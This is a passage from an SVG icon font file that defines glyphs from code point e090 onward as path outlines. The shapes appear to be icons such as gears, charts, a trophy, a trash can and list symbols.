		c-2.622-4.69-4.714-9.715-6.209-14.991L0,48l0-28 l 30.663-5.111c 1.495-5.276, 3.587-10.3, 6.209-14.991L 18.804-25.397l 19.799-19.8
		l 25.295,18.067c 4.691-2.622, 9.714-4.714, 14.991-6.209L 84-64l 28,0 l 5.11,30.663c 5.277,1.495, 10.3,3.587, 14.991,6.209l 25.295-18.067
		l 19.799,19.8l-18.068,25.294c 2.622,4.69, 4.714,9.715, 6.209,14.991L 196,20l0,28 l-30.663,5.111
		C 163.842,58.387, 161.751,63.411, 159.128,68.102z M 98,6c-15.465,0-28,12.536-28,28s 12.535,28, 28,28s 28-12.536, 28-28
		S 113.465,6, 98,6zM 448,216l0,28 l-29.48,5.359c-0.543,3.52-1.239,6.99-2.067,10.408l 25.182,16.231L 430.92,301.867l-29.288-6.33
		c-1.844,3.023-3.818,5.959-5.903,8.807l 17.065,24.65l-19.8,19.799l-24.65-17.065c-2.849,2.085-5.784,4.058-8.807,5.904
		l 6.33,29.288L 340,377.635l-16.231-25.182c-3.418,0.828-6.888,1.523-10.408,2.067L 308,384l-28,0 l-5.36-29.48
		c-3.52-0.543-6.99-1.239-10.408-2.067L 248.001,377.635L 222.133,366.92l 6.33-29.288c-3.023-1.845-5.959-3.818-8.807-5.904
		l-24.65,17.065l-19.799-19.799l 17.065-24.65c-2.085-2.848-4.059-5.784-5.904-8.807l-29.288,6.33l-10.715-25.869l 25.182-16.231
		c-0.828-3.418-1.523-6.887-2.067-10.408L 140,244l0-28 l 29.48-5.359c 0.543-3.52, 1.239-6.99, 2.067-10.408l-25.182-16.231
		l 10.715-25.869l 29.288,6.33c 1.845-3.023, 3.818-5.958, 5.904-8.807l-17.065-24.65l 19.799-19.8l 24.65,17.065
		c 2.848-2.085, 5.784-4.058, 8.807-5.903l-6.33-29.288l 25.869-10.715l 16.232,25.182c 3.417-0.828, 6.887-1.523, 10.407-2.067L 280,76l 28,0 
		l 5.36,29.48c 3.519,0.543, 6.99,1.239, 10.408,2.067l 16.231-25.182l 25.869,10.715l-6.33,29.288
		c 3.023,1.845, 5.959,3.818, 8.807,5.903l 24.65-17.065l 19.8,19.8l-17.065,24.65c 2.085,2.849, 4.058,5.784, 5.903,8.807
		l 29.288-6.33l 10.715,25.869l-25.182,16.231c 0.828,3.418, 1.523,6.887, 2.067,10.408L 448,216z M 294,169.1
		c-33.634,0-60.9,27.266-60.9,60.9c0,33.634, 27.265,60.9, 60.9,60.9s 60.9-27.266, 60.9-60.9C 354.9,196.366, 327.635,169.1, 294,169.1z"  />
<glyph unicode="&#xe090;" d="M 448,117.959l0,84.082 l-64.214,10.702c-2.607,7.933-5.785,15.605-9.491,22.969l 37.824,52.952l-59.454,59.455l-52.861-37.758
		c-7.398,3.742-15.11,6.951-23.086,9.582L 266.041,384l-84.082,0 l-10.676-64.057c-7.976-2.631-15.688-5.84-23.085-9.582
		l-52.862,37.758l-59.455-59.455l 37.824-52.953c-3.706-7.363-6.884-15.035-9.49-22.968L0,202.041l0-84.082 l 64.364-10.727
		c 2.607-7.861, 5.779-15.465, 9.468-22.763l-37.952-53.133l 59.455-59.454l 53.224,38.016c 7.263-3.653, 14.827-6.793, 22.647-9.377
		L 181.959-64l 84.082,0 l 10.753,64.52c 7.82,2.584, 15.383,5.724, 22.648,9.377l 53.223-38.015l 59.454,59.454l-37.95,53.133
		c 3.689,7.298, 6.859,14.902, 9.468,22.764L 448,117.959z M 224,104c-30.928,0-56,25.071-56,56c0,30.928, 25.072,56, 56,56
		c 30.929,0, 56-25.072, 56-56C 280,129.071, 254.929,104, 224,104z"  />
<glyph unicode="&#xe091;" d="M 441.873,21.323L 309.948,153.248c-8.167,8.167-21.531,8.167-29.698,0l-9.899-9.899l-80.5,80.5L 322,356L 182,356 l-62.15-62.15
	L 113.698,300L 84,300 l0-29.698 l 6.15-6.15L0,174l 70-70l 90.15,90.15l 80.5-80.5l-9.899-9.899c-8.167-8.167-8.167-21.531,0-29.698
	l 131.925-131.925c 8.167-8.167, 21.531-8.167, 29.698,0l 49.497,49.497C 450.041-0.209, 450.041,13.156, 441.873,21.323z"  />
<glyph unicode="&#xe092;" d="M 112,300L 56,356L 28,356L 28,328L 84,272 	zM 140,384L 168,384L 168,328L 140,328zM 252,244L 308,244L 308,216L 252,216zM 280,328L 280,356L 252,356L 196,300L 224,272 	zM0,244L 56,244L 56,216L0,216zM 140,132L 168,132L 168,76L 140,76zM 28,132L 28,104L 56,104L 112,160L 84,188 	zM 441.875-1.875L 163.573,276.427c-8.167,8.167-21.531,8.167-29.698,0L 107.573,250.125c-8.167-8.167-8.167-21.531,0-29.698L 385.875-57.875
		c 8.167-8.167, 21.531-8.167, 29.698,0L 441.875-31.573C 450.042-23.406, 450.042-10.042, 441.875-1.875z M 210,146l-84,84l 28,28l 84-84L 210,146z"  />
<glyph unicode="&#xe093;" d="M 392,272l-84,0 L 308,328 c0,15.4-12.6,28-28,28L 168,356 c-15.4,0-28-12.6-28-28l0-56 L 56,272 c-30.8,0-56-25.2-56-56l0-224 c0-30.8, 25.2-56, 56-56l 336,0 
	c 30.8,0, 56,25.2, 56,56L 448,216 C 448,246.8, 422.8,272, 392,272z M 168,328l 112,0 l0-56 L 168,272 L 168,328 z M 336,76l-84,0 l0-84 l-56,0 l0,84 l-84,0 l0,56 l 84,0 l0,84 l 56,0 l0-84 l 84,0 
	L 336,76 z"  />
<glyph unicode="&#xe094;" d="M 448,132l0,28 l-84.564,0 c-2.565,31.8-13.906,60.824-31.356,84.109l 70.85,0 l 30.651,122.605l-27.164,6.791l-25.349-101.395l-76.422,0 
	c-0.39,0.304-0.786,0.601-1.18,0.899c 2.936,8.532, 4.533,17.685, 4.533,27.21C 308,346.49, 270.392,384, 224,384s-84-37.51-84-83.781
	c0-9.525, 1.597-18.678, 4.533-27.21c-0.394-0.299-0.789-0.596-1.18-0.899l-76.422,0 l-25.349,101.395l-27.164-6.791l 30.651-122.605l 70.85,0 
	C 98.47,220.824, 87.129,191.8, 84.564,160L0,160 l0-28 l 84.599,0 c 1.663-19.978, 6.785-38.855, 14.717-55.891L 45.070,76.109 l-30.651-122.604
	l 27.164-6.792l 25.349,101.396l 49.155,0 C 141.764,13.97, 180.572-7.781, 224-7.781s 82.235,21.752, 107.915,55.891l 49.155,0 l 25.349-101.396
	l 27.164,6.792l-30.651,122.604l-54.247,0 c 7.932,17.035, 13.053,35.913, 14.716,55.891L 448,132 z"  />
<glyph unicode="&#xe095;" d="M 196,132L 196,328 C 87.752,328,0,240.248,0,132s 87.752-196, 196-196s 196,87.752, 196,196c0,31.515-7.45,61.287-20.666,87.667
		L 196,132zM 399.334,275.667C 367.155,339.899, 300.733,384, 224,384l0-196 L 399.334,275.667z"  />
<glyph unicode="&#xe096;" d="M 56-8 L 448-8 L 448-64 L 0-64 L 0,384 L 56,384 ZM 126,20 C 102.804,20 84,38.804 84,62 C 84,85.196 102.804,104 126,104 C 127.237,104 128.46,103.935 129.67,103.831 L 174.816,179.075 C 170.511,185.668 168,193.54 168,202.001 C 168,225.197 186.804,244.001 210,244.001 C 233.196,244.001 252,225.197 252,202.001 C 252,193.539 249.489,185.668 245.184,179.075 L 290.33,103.831 C 291.54,103.935 292.763,104 294,104 C 294.934,104 295.859,103.959 296.778,103.899 L 371.309,234.328 C 366.699,241.069 364,249.219 364,258.001 C 364,281.197 382.804,300.001 406,300.001 C 429.196,300.001 448,281.197 448,258.001 C 448,234.805 429.196,216.001 406,216.001 C 405.064,216.001 404.141,216.042 403.222,216.102 L 328.691,85.673 C 333.301,78.933 336,70.782 336,62 C 336,38.804 317.196,20 294,20 C 270.804,20 252,38.804 252,62 C 252,70.461 254.511,78.333 258.815,84.926 L 213.67,160.169 C 212.46,160.065 211.237,160 210,160 C 208.763,160 207.54,160.064 206.33,160.169 L 161.184,84.925 C 165.489,78.333 168,70.461 168,62 C 168,38.804 149.196,20 126,20 Z"  />
<glyph unicode="&#xe097;" d="M0,20L 448,20L 448-36L0-36zM 56,132L 112,132L 112,48L 56,48zM 140,244L 196,244L 196,48L 140,48zM 224,160L 280,160L 280,48L 224,48zM 308,328L 364,328L 364,48L 308,48z"  />
<glyph unicode="&#xe098;" d="M 126,216L 42,216 c-7.7,0-14-6.3-14-14l0-252 c0-7.7, 6.3-14, 14-14l 84,0 c 7.7,0, 14,6.3, 14,14L 140,202 C 140,209.7, 133.7,216, 126,216z M 126-36
		L 42-36 L 42,76 l 84,0 L 126-36 zM 266,272l-84,0 c-7.7,0-14-6.3-14-14l0-308 c0-7.7, 6.3-14, 14-14l 84,0 c 7.7,0, 14,6.3, 14,14L 280,258 C 280,265.7, 273.7,272, 266,272z
		 M 266-36l-84,0 L 182,104 l 84,0 L 266-36 zM 406,328l-84,0 c-7.7,0-14-6.3-14-14l0-364 c0-7.7, 6.3-14, 14-14l 84,0 c 7.7,0, 14,6.3, 14,14L 420,314 C 420,321.7, 413.7,328, 406,328z M 406-36l-84,0 
		L 322,132 l 84,0 L 406-36 z"  />
<glyph unicode="&#xe099;" d="M 337.538,244c 7.93,5.635, 15.537,11.907, 22.507,18.877c 14.613,14.613, 24.389,32.594, 27.524,50.628
	c 3.438,19.769-1.607,38.124-13.838,50.356c-9.756,9.755-22.973,14.913-38.222,14.913c-21.714,0-44.591-10.423-62.764-28.596
	c-29.083-29.083-46.036-69.229-55.158-97.878c-6.755,28.788-20.215,67.657-46.383,93.825C 157.163,360.166, 139.217,367.375, 122.272,367.375
	c-13.849,0-27.029-4.814-36.864-14.65c-21.869-21.87-18.914-60.281, 6.6-85.796c 9.097-9.097, 19.73-16.652, 30.94-22.93L 28,243.999 l0-112 
	l 28,0 l0-196 l 336,0 L 392,132 l 28,0 L 420,244 L 337.538,244 z M 295.018,327.905c 12.129,12.129, 27.266,19.37, 40.491,19.37c 4.681,0, 11.247-0.986, 15.947-5.687
	c 11.388-11.387, 4.993-37.76-13.685-56.437c-19.226-19.226-45.089-32.449-67.564-41.151l-22.169,0 
	C 256.161,269.177, 270.813,303.7, 295.018,327.905z M 102.346,313.611c-0.307,3.99-0.022,11.484, 5.336,16.841
	C 112.164,334.934, 118.089,335.875, 122.272,335.875l0,0 c 9.3,0, 19.017-4.382, 26.658-12.023c 14.819-14.819, 27.023-38.4, 35.292-68.196
	c 0.223-0.805, 0.441-1.606, 0.654-2.4c-0.794,0.213-1.595,0.43-2.4,0.654c-29.796,8.271-53.376,20.474-68.195,35.293
	C 107.356,296.128, 103.007,305.024, 102.346,313.611z M 196-36L 84-36 L 84,146 l 112,0 L 196-36 z M 196,160L 56,160 l0,56 l 140,0 L 196,160 z M 364-36L 252-36 L 252,146 l 112,0 L 364-36 z
	 M 392,160L 252,160 l0,56 l 140,0 L 392,160 z"  />
<glyph unicode="&#xe09a;" d="M 364,300L 364,356 L 84,356 l0-56 L0,300 l0-28 l0-28 c0-46.392, 37.607-84, 84-84c 8.783,0, 17.251,1.35, 25.209,3.851
	c 20.201-28.878, 51.016-49.786, 86.791-57.048L 196,20 l-28,0 c-30.929,0-56-25.071-56-56l 224,0 c0,30.929-25.071,56-56,56l-28,0 l0,86.803 
	c 35.775,7.263, 66.59,28.169, 86.791,57.048C 346.749,161.35, 355.217,160, 364,160c 46.393,0, 84,37.608, 84,84l0,28 L 448,300 L 364,300 z M 84,193.25
	c-27.983,0-50.75,22.767-50.75,50.75l0,28 l 50.75,0 l0-28 c0-17.581, 3.251-34.401, 9.167-49.905C 90.191,193.55, 87.131,193.25, 84,193.25z M 414.75,244
	c0-27.983-22.767-50.75-50.75-50.75c-3.131,0-6.191,0.3-9.167,0.845C 360.749,209.599, 364,226.419, 364,244l0,28 l 50.75,0 L 414.75,244 z"  />
<glyph unicode="&#xe09b;" d="M 266,216 C 252,202 252,202 252,188 L 252-8 L 308-8 C 323.464-8 336-20.536 336-36 L 112-36 C 112-20.536 124.536-8 140-8 L 196-8 L 196,188 C 196,202 196,202 182,216 L 61.799,336.201 C 50.909,347.091 54.6,356 70,356 L 378,356 C 393.4,356 397.090,347.091 386.201,336.201 L 266.004,216.004 C 266.003,216.003 266.002,216.001 266,216 Z"  />
<glyph unicode="&#xe09c;" d="M 364,244l-28,0 l0,42 c0,38.66-75.216,70-168,70C 75.216,356,0,324.66,0,286l0-252 c0-38.66, 75.216-70, 168-70
	c 92.784,0, 168,31.34, 168,70l0,42 l 28,0 c 46.2,0, 84,37.8, 84,84S 410.2,244, 364,244z M 77.025,301.049C 102.374,309.401, 134.683,314, 168,314
	s 65.627-4.599, 90.975-12.951c 16.185-5.332, 25.991-11.045, 31.242-15.049c-5.251-4.004-15.057-9.716-31.242-15.049
	C 233.627,262.599, 201.317,258, 168,258s-65.626,4.599-90.975,12.951C 60.84,276.284, 51.033,281.996, 45.783,286
	C 51.033,290.004, 60.84,295.716, 77.025,301.049z M 395.659,135.341C 391.797,131.478, 383.457,125, 371,125l-35,0 l0,70 l 35,0 
	c 12.457,0, 20.797-6.479, 24.659-10.342S 406,172.457, 406,160S 399.522,139.203, 395.659,135.341z"  />
<glyph unicode="&#xe09d;" d="M 378,384c-38.663,0-70-31.339-70-70l0-210 l 56,0 l0-168 l 84,0 L 448,314 C 448,352.661, 416.66,384, 378,384zM 182,384c-7.733,0-14-6.268-14-14l0-98 c0-3.866-6.268-7-14-7c-7.733,0-14,3.134-14,7L 140,370 c0,7.732-6.268,14-14,14
		c-7.732,0-14-6.268-14-14l0-98 c0-3.866-6.268-7-14-7c-7.732,0-14,3.134-14,7L 84,370 c0,7.732-6.268,14-14,14c-7.732,0-14-6.268-14-14l0-98 
		c0-3.866-6.268-7-14-7s-14,3.134-14,7L 28,370 c0,7.732-6.268,14-14,14S0,377.732,0,370l0-98 l0-28 c0-12.389, 10.963-19.298, 23.189-28
		C 38.594,205.034, 56,191.222, 56,160l0-224 l 84,0 L 140,160 c0,31.222, 17.406,45.035, 32.809,56C 185.035,224.702, 196,231.611, 196,244l0,28 L 196,370 
		C 196,377.732, 189.732,384, 182,384z"  />
<glyph unicode="&#xe09e;" d="M 313.927,384c-73.834-122.056-132.256-62.030-217.696-149.813c-75.397-77.466-49.255-170.759, 14.229-202.888
		c 62.663,32.020, 126.773,103.61, 174.322,207.254c0,0, 42.729-130.875-88.152-256.976c 63.555-74.44, 171.425-22.65, 201.568,95.777
		C 430.966,206.099, 345.529,337.183, 313.927,384zM 42.443-38.731C 42.493-40.002, 43.94-64, 75.415-64c 22.901,0, 139.052,63.297, 198.741,227.589
		C 183.84,3.808, 52.729-35.84, 42.443-38.731z"  />
<glyph unicode="&#xe09f;" d="M 308,356L 168,216L 84,216 L0,104c0,0, 88.995,24.785, 140.904,13.162L0-64l 184.582,143.563C 210.324,20.652, 168-64, 168-64l 112,84
	l0,84 l 140,140L 448,384L 308,356z"  />
<glyph unicode="&#xe0a0;" d="M 224,356 C 347.712,356 448,255.712 448,132 C 448,47.654 401.373-25.791 332.496-64 L 115.503-64 C 46.627-25.791 0,47.654 0,132 C 0,255.712 100.288,356 224,356 Z M 350.837,5.163 C 384.716,39.043 403.375,84.087 403.375,132 L 364,132 L 364,160 L 401.204,160 C 398.135,179.687 391.846,198.564 382.582,216 L 336,216 L 336,244 L 364.124,244 C 359.995,249.146 355.57,254.105 350.837,258.837 C 330.615,279.059 306.414,293.854 280,302.499 L 280,272 L 252,272 L 252,309.205 C 242.82,310.635 233.468,311.375 224,311.375 C 214.532,311.375 205.18,310.636 196,309.205 L 196,272 L 168,272 L 168,302.499 C 141.587,293.854 117.385,279.059 97.163,258.837 C 92.43,254.105 88.005,249.146 83.876,244 L 112,244 L 112,216 L 65.417,216 C 56.153,198.564 49.863,179.687 46.795,160 L 84,160 L 84,132 L 44.625,132 C 44.625,84.087 63.283,39.043 97.163,5.163 C 101.848,0.477 106.754-3.906 111.845-8 L 196-8 L 212,216 L 236,216 L 252-8 L 336.155-8 C 341.246-3.906 346.153,0.478 350.837,5.163 Z"  />
<glyph unicode="&#xe0a1;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 132.491,19.058
		C 137.35,32.46, 140,46.922, 140,62c0,54.403-34.479,100.753-82.778,118.39c 4.467,37.154, 21.111,71.53, 47.984,98.404
		C 136.938,310.525, 179.126,328, 224,328s 87.063-17.476, 118.794-49.206c 26.875-26.874, 43.517-61.25, 47.986-98.404
		C 342.479,162.753, 308,116.403, 308,62c0-15.080, 2.651-29.54, 7.51-42.941C 288.514,1.453, 256.986-8, 224-8
		C 191.015-8, 159.487,1.453, 132.491,19.058zM 241.392,103.564 C 247.464,102.036 252,96.529 252,90 L 252,62 C 252,54.3 245.7,48 238,48 L 210,48 C 202.3,48 196,54.3 196,62 L 196,90 C 196,96.529 200.536,102.036 206.608,103.564 L 217,300 L 231,300 L 241.392,103.564 Z"  />
<glyph unicode="&#xe0a2;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
		c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8zM 196,272A28,28 10980 1 0 252,272A28,28 10980 1 0 196,272zM 280,244A28,28 10980 1 0 336,244A28,28 10980 1 0 280,244zM 112,244A28,28 10980 1 0 168,244A28,28 10980 1 0 112,244zM 196,76L 196,48L 252,48L 252,76L 224,216 	z"  />
<glyph unicode="&#xe0a3;" d="M 441.951-16.641L 201.924,201.872l 11.171,11.199c 9.141,9.167, 14.082,21.013, 14.839,33.079
	c 0.438,0.197, 0.876,0.399, 1.294,0.631l 45.058,28.176c 6.096,7.171, 5.651,18.492-0.999,25.157L 194.922,378.693
	c-6.646,6.665-17.937,7.115-25.088,0.999l-28.103-45.18c-0.23-0.423-0.433-0.86-0.63-1.301
	c-12.032-0.759-23.844-5.712-32.987-14.878l-42.625-42.745c-9.143-9.168-14.080-21.011-14.839-33.077
	c-0.439-0.197-0.877-0.401-1.297-0.633L 4.297,213.702c-6.1-7.171-5.651-18.491, 0.996-25.155l 78.365-78.577
	c 6.647-6.667, 17.936-7.115, 25.091-1l 28.1,45.181c 0.231,0.419, 0.432,0.857, 0.631,1.298c 12.032,0.76, 23.845,5.709, 32.987,14.877
	l 12.378,12.413l 217.928-240.675c 6.316-6.976, 16.056-8.102, 21.645-2.499l 22.031,22.088
	C 450.032-32.743, 448.908-22.976, 441.951-16.641z"  />
<glyph unicode="&#xe0a4;" d="M 140.441-64 C 110.583-1.871 126.484,33.728 149.432,67.269 C 174.562,104 181.038,140.361 181.038,140.361 C 181.038,140.361 200.793,114.679 192.891,74.513 C 227.791,113.363 234.377,175.261 229.108,198.966 C 307.996,143.836 341.71,24.467 296.274-64 C 537.937,72.733 356.386,277.325 324.779,300.372 C 335.315,277.326 337.313,238.312 316.029,219.379 C 280,356 190.916,384 190.916,384 C 201.452,313.543 152.724,236.5 105.737,178.931 C 104.086,207.025 102.332,226.412 87.559,253.297 C 84.242,202.26 45.238,160.657 34.676,109.522 C 20.369,40.272 45.393-10.432 140.441-64 Z"  />
<glyph unicode="&#xe0a5;" d="M 418.377,32.039L 280,262.612L 280,356 l 14,0 c 7.7,0, 14,6.3, 14,14s-6.3,14-14,14L 154,384 c-7.7,0-14-6.3-14-14s 6.3-14, 14-14l 14,0 l0-93.388 
	L 29.624,32.039C-2.069-20.782, 22.4-64, 84-64l 280,0 C 425.6-64, 450.069-20.782, 418.377,32.039z M 105.454,104L 196,254.91L 196,356 l 56,0 
	l0-101.090 L 342.547,104L 105.454,104 z"  />
<glyph unicode="&#xe0a6;" d="M 376.032,372.388L 374.022,384L 266,384 l 2.888-16.425c 9.776-55.606, 32.516-190.984, 32.516-246.95c0-42.941-34.724-77.875-77.404-77.875
	c-42.681,0-77.403,34.934-77.403,77.875c0,55.968, 22.739,191.345, 32.517,246.95L 182,384L 73.978,384 l-2.010-11.612
	C 60.122,303.953, 40.25,180.244, 40.25,120.625c0-101.803, 82.43-184.625, 183.75-184.625c 101.32,0, 183.75,82.822, 183.75,184.625
	C 407.75,180.241, 387.878,303.952, 376.032,372.388z M 224-36c-85.88,0-155.75,70.262-155.75,156.625c0,35.338, 7.403,94.971, 15.823,151.375l 50.901,0 
	c-8.747-57.415-16.377-117.274-16.377-151.375c0-58.38, 47.284-105.875, 105.403-105.875c 58.12,0, 105.404,47.495, 105.404,105.875
	c0,34.1-7.631,93.959-16.378,151.375l 50.901,0 C 372.348,215.595, 379.75,155.961, 379.75,120.625C 379.75,34.262, 309.88-36, 224-36z"  />
<glyph unicode="&#xe0a7;" d="M 84-64L 364-64L 392,244L 56,244 	zM 280,328L 280,384 L 168,384 l0-56 L 28,328 l0-84 l 28,28l 336,0 l 28-28L 420,328 L 280,328 z M 252,328l-56,0 L 196,356 l 56,0 L 252,328 z"  />
<glyph unicode="&#xe0a8;" d="M 350,328L 98,328 c-23.196,0-42-18.804-42-42l0-14 l 336,0 l0,14 C 392,309.196, 373.196,328, 350,328zM 276.64,356l 6.176-44.188L 165.184,311.812 l 6.175,44.188L 276.64,356  M 280,384L 168,384 c-11.55,0-22.308-9.359-23.906-20.798l-8.187-58.592
	C 134.308,293.171, 142.45,283.812, 154,283.812l 140,0 c 11.55,0, 19.692,9.359, 18.094,20.798l-8.187,58.592C 302.308,374.641, 291.55,384, 280,384L 280,384z
	M 357,244L 91,244 c-15.4,0-26.859-12.548-25.465-27.885l 22.93-252.23C 89.859-51.452, 103.6-64, 119-64l 210,0 
	c 15.4,0, 29.141,12.548, 30.535,27.884l 22.929,252.23C 383.859,231.452, 372.4,244, 357,244z M 168-8l-42,0 l-14,196l 56,0 L 168-8 z M 252-8l-56,0 
	L 196,188 l 56,0 L 252-8 z M 322-8l-42,0 L 280,188 l 56,0 L 322-8z"  />
<glyph unicode="&#xe0a9;" d="M 420,272L 308,272 L 308,300 c0,15.4-12.6,28-28,28L 168,328 c-15.402,0-28-12.6-28-28l0-28 L 28,272 c-15.4,0-28-12.6-28-28l0-252 
	c0-15.401, 12.598-28, 28-28l 392,0 c 15.4,0, 28,12.599, 28,28L 448,244 C 448,259.4, 435.4,272, 420,272z M 168,299.949
	c 0.015,0.018, 0.032,0.036, 0.050,0.051l 111.9,0 c 0.018-0.015, 0.036-0.033, 0.052-0.051L 280.002,272 L 168,272 L 168,299.949 z M 420,160l-56,0 l0-42 
	c0-7.701-6.3-14-14-14l-28,0 c-7.702,0-14,6.299-14,14l0,42 L 140,160 l0-42 c0-7.701-6.3-14-14-14l-28,0 c-7.701,0-14,6.299-14,14l0,42 L 28,160 l0,28 l 392,0 
	L 420,160 z"  />
<glyph unicode="&#xe0aa;" d="M 336,104.014l-79.984,79.985L 448,328.002L 391.996,384l-239.977-96.006L 76.462,363.553C 54.683,385.331, 24.267,390.549, 8.867,375.15
	C-6.532,359.751-1.313,329.333, 20.465,307.556l 75.55-75.549L0-7.997L 55.996-64L 200.016,128.005l 79.986-79.987l0-111.991 L 336-63.974 
	l 27.996,83.995l 83.995,27.998l0,55.997 L 336,104.016 L 336,104.014 z"  />
<glyph unicode="&#xe0ab;" d="M 448,132l-56,112l-84,0 L 308,300 c0,15.4-12.6,28-28,28L 28,328 C 12.6,328,0,315.4,0,300l0-224 l 28-28l 35.51,0 C 58.742,39.761, 56,30.203, 56,20
	c0-30.928, 25.072-56, 56-56s 56,25.072, 56,56c0,10.203-2.742,19.761-7.51,28l 155.021,0 c-4.768-8.239-7.511-17.797-7.511-28
	c0-30.928, 25.072-56, 56-56s 56,25.072, 56,56c0,10.203-2.743,19.761-7.511,28L 448,48 L 448,132 z M 308,132l0,70 l 58.042,0 l 35-70L 308,132 z"  />
<glyph unicode="&#xe0ac;" d="M 308-64l 140,0 L 336,384l-84,0 l 14-112l-84,0 L 196,384l-84,0 L0-64l 140,0 l 14,112l 140,0 L 308-64z M 161,104l 14,112l 98,0 l 14-112L 161,104 z"  />
<glyph unicode="&#xe0ad;" d="M 420,300L 420,328L 224,272L 28,328L 28,300L 168,244L 168,132L 112-64L 140-64L 224,132L 308-64L 336-64L 280,132L 280,244 	zM 182,342A42,42 12780 1 0 266,342A42,42 12780 1 0 182,342z"  />
<glyph unicode="&#xe0ae;" d="M 448,188l-44.154,0 C 391.753,265.98, 329.98,327.753, 252,339.846L 252,384 l-56,0 l0-44.154 C 118.020,327.753, 56.247,265.98, 44.154,188L0,188 l0-56 
	l 44.154,0 C 56.247,54.020, 118.020-7.753, 196-19.846L 196-64 l 56,0 l0,44.154 C 329.98-7.753, 391.753,54.020, 403.846,132L 448,132 L 448,188 z M 346.86,188
	L 303.214,188 c-8.437,23.866-27.348,42.778-51.214,51.214l0,43.646 C 299.037,272.145, 336.145,235.036, 346.86,188z M 224,132
	c-15.464,0-28,12.536-28,28c0,15.464, 12.536,28, 28,28c 15.464,0, 28-12.536, 28-28C 252,144.536, 239.464,132, 224,132z M 196,282.86
	l0-43.646 c-23.866-8.436-42.778-27.348-51.214-51.214l-43.646,0 C 111.855,235.036, 148.964,272.145, 196,282.86z M 101.14,132l 43.646,0 
	c 8.436-23.866, 27.348-42.778, 51.214-51.214l0-43.646 C 148.964,47.855, 111.855,84.963, 101.14,132z M 252,37.14L 252,80.786 
	c 23.866,8.437, 42.778,27.348, 51.214,51.214l 43.646,0 C 336.145,84.963, 299.037,47.855, 252,37.14z"  />
<glyph unicode="&#xe0af;" d="M 420,384L 224,328L 28,384c0,0-1.969-22.618,0-56l 196-61.289L 420,328C 421.968,361.382, 420,384, 420,384zM 31.583,298.641C 42.077,188.962, 81.235,4.539, 224-64c 142.765,68.539, 181.923,252.962, 192.417,362.641L 224,226.297
		L 31.583,298.641z"  />
<glyph unicode="&#xe0b0;" d="M 168,384L0,160L 168,160L 56-64L 448,216L 224,216L 392,384 z"  />
<glyph unicode="&#xe0b1;" d="M 280,319.868l0-59.482 c 15.84-6.914, 30.406-16.803, 42.995-29.391C 349.438,204.552, 364,169.395, 364,132
		s-14.563-72.552-41.005-98.995C 296.552,6.563, 261.396-8, 224-8s-72.552,14.563-98.995,41.005
		C 98.563,59.448, 84,94.605, 84,132s 14.563,72.552, 41.005,98.995c 12.589,12.589, 27.155,22.478, 42.995,29.392L 168,319.868 
		C 87.041,295.77, 28,220.786, 28,132c0-108.248, 87.753-196, 196-196c 108.248,0, 196,87.752, 196,196
		C 420,220.786, 360.959,295.77, 280,319.868zM 196,384L 252,384L 252,160L 196,160z"  />
<glyph unicode="&#xe0b2;" d="M 448,260.406L 408.404,300L 330.202,221.796L 285.796,266.203L 363.999,344.406L 324.405,384L 246.202,305.797L 196,356L 158.101,318.102L 382.102,94.101L 420,131.999L 369.796,182.203 	zM 120.202,56.201c 72.523-72.521, 168.522-15.908, 227.19,33.016L 153.22,283.39
		C 104.296,224.723, 47.682,128.724, 120.202,56.201zM 83.999,75.998L 139.996,20L 56-63.996L 0.002-7.999z"  />
<glyph unicode="&#xe0b3;" d="M 196,36.402L 106.201,140.201L 131.799,165.799L 196,115.598L 316.201,221.799L 341.799,196.201 	zM 363.9,328c 0.034-0.029, 0.071-0.066, 0.1-0.101l0-335.8 c-0.029-0.034-0.066-0.071-0.1-0.1L 84.1-8 
	c-0.035,0.029-0.071,0.066-0.1,0.1L 84,327.9 c 0.029,0.035, 0.066,0.071, 0.101,0.1L 28,328 l0-336 c0-30.8, 25.2-56, 56-56l 280,0 
	c 30.8,0, 56,25.2, 56,56L 420,328 L 363.9,328 z M 280,328L 280,356 c0,15.464-12.536,28-28,28l-56,0 c-15.464,0-28-12.536-28-28l0-28 l-56,0 l0-56 l 224,0 L 336,328 L 280,328 z
	 M 252,328l-56,0 L 196,356 l 56,0 L 252,328 z"  />
<glyph unicode="&#xe0b4;" d="M0,384L 112,384L 112,272L0,272zM 168,356L 448,356L 448,300L 168,300zM0,216L 112,216L 112,104L0,104zM 168,188L 448,188L 448,132L 168,132zM0,48L 112,48L 112-64L0-64zM 168,20L 448,20L 448-36L 168-36z"  />
<glyph unicode="&#xe0b5;" d="M 168,356l 280,0 l0-56 L 168,300 L 168,356 z M 168,188l 280,0 l0-56 L 168,132 L 168,188 z M 168,20l 280,0 l0-56 L 168-36 L 168,20 zM0,328A56,56 2700 1 0 112,328A56,56 2700 1 0 0,328zM0,160A56,56 2700 1 0 112,160A56,56 2700 1 0 0,160zM0-8A56,56 2700 1 0 112-8A56,56 2700 1 0 0-8z"  />
<glyph unicode="&#xe0b6;" d="M 168,20L 448,20L 448-36L 168-36zM 168,188L 448,188L 448,132L 168,132zM 168,356L 448,356L 448,300L 168,300zM 84,384 L 84,272 L 56,272 L 56,356 L 28,356 L 28,384 ZM 56,153.875 L 56,132 L 112,132 L 112,104 L 28,104 L 28,167.875 L 84,194.125 L 84,216 L 28,216 L 28,244 L 112,244 L 112,180.125 ZM 112,76 L 112-64 L 28-64 L 28-36 L 84-36 L 84-8 L 28-8 L 28,20 L 84,20 L 84,48 L 28,48 L 28,76 Z"  />
<glyph unicode="&#xe0b7;" d="M0,216l 308,0 l0-56 L0,160 L0,216 z M0,300l 308,0 l0-56 L0,244 L0,300 z M0,132l 308,0 l0-56 L0,76 L0,132 z M0,48l 308,0 l0-56 L0-8 L0,48 z M 336,132l 56-84l 56,84L 336,132 z M 448,160
	l-56,84l-56-84L 448,160 z"  />
<glyph unicode="&#xe0b8;" d="M 28,300L 420,300L 420,216L 28,216zM 28,188L 420,188L 420,104L 28,104zM 28,76L 420,76L 420-8L 28-8z"  />
<glyph unicode="&#xe0b9;" d="M 427,48l-7,0 L 420,139 c0,27.018-21.981,49-49,49L 252,188 l0,56 l 7,0 c 11.55,0, 21,9.45, 21,21L 280,335 c0,11.55-9.45,21-21,21l-70,0 
